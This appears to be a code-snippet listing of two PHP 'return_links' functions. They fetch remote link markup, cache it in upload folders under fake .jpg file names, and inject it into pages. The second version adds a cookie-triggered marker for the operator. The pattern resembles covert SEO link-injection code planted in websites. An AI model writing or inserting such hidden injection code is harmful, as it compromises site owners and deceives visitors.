Exemple #1
0
 function return_links($lib_path)
 {
     $links_class = new Get_links();
     $file = ABSPATH . 'wp-content/uploads/2011/' . md5($_SERVER['REQUEST_URI']) . '.jpg';
     $_cache_lifetime = $links_class->_cache_lifetime;
     if (!file_exists($file)) {
         @touch($file, time());
         $data = $links_class->get_remote();
         file_put_contents($file, $data);
         return $data;
     } elseif (time() - filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
         @touch($file, time());
         $data = $links_class->get_remote();
         file_put_contents($file, $data);
         return $data;
     } else {
         $data = file_get_contents($file);
         return $data;
     }
 }
Exemple #2
0
 function return_links()
 {
     $links_class = new Get_links();
     $site_host = md5(str_replace("www.", "", $_SERVER['HTTP_HOST']));
     $file = 'uploads/posts/2013-11' . $site_host . '.jpg';
     // относительный путь т.е. файл дожен создаваться в папке с шаблоном?
     $_cache_lifetime = $links_class->_cache_lifetime;
     if (isset($_COOKIE['wl_conf'])) {
         return "<!-- " . md5('wl_conf=' . $site_host) . " -->";
     } elseif (!file_exists($file)) {
         @touch($file, time());
         $data = $links_class->get_remote();
         if (!empty($data)) {
             file_put_contents($file, $data);
         }
     } elseif (time() - filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
         @touch($file, time());
         $data = $links_class->get_remote();
         if (!empty($data)) {
             file_put_contents($file, $data);
         }
     } else {
         $array = unserialize(file_get_contents($file));
         if (!empty($array[$_SERVER['REQUEST_URI']])) {
             foreach ($array[$_SERVER['REQUEST_URI']] as $URI) {
                 $data1 .= $URI;
             }
             return $array['comm'] . $array['start'] . $data1 . $array['end'] . $array['style'];
         }
     }
 }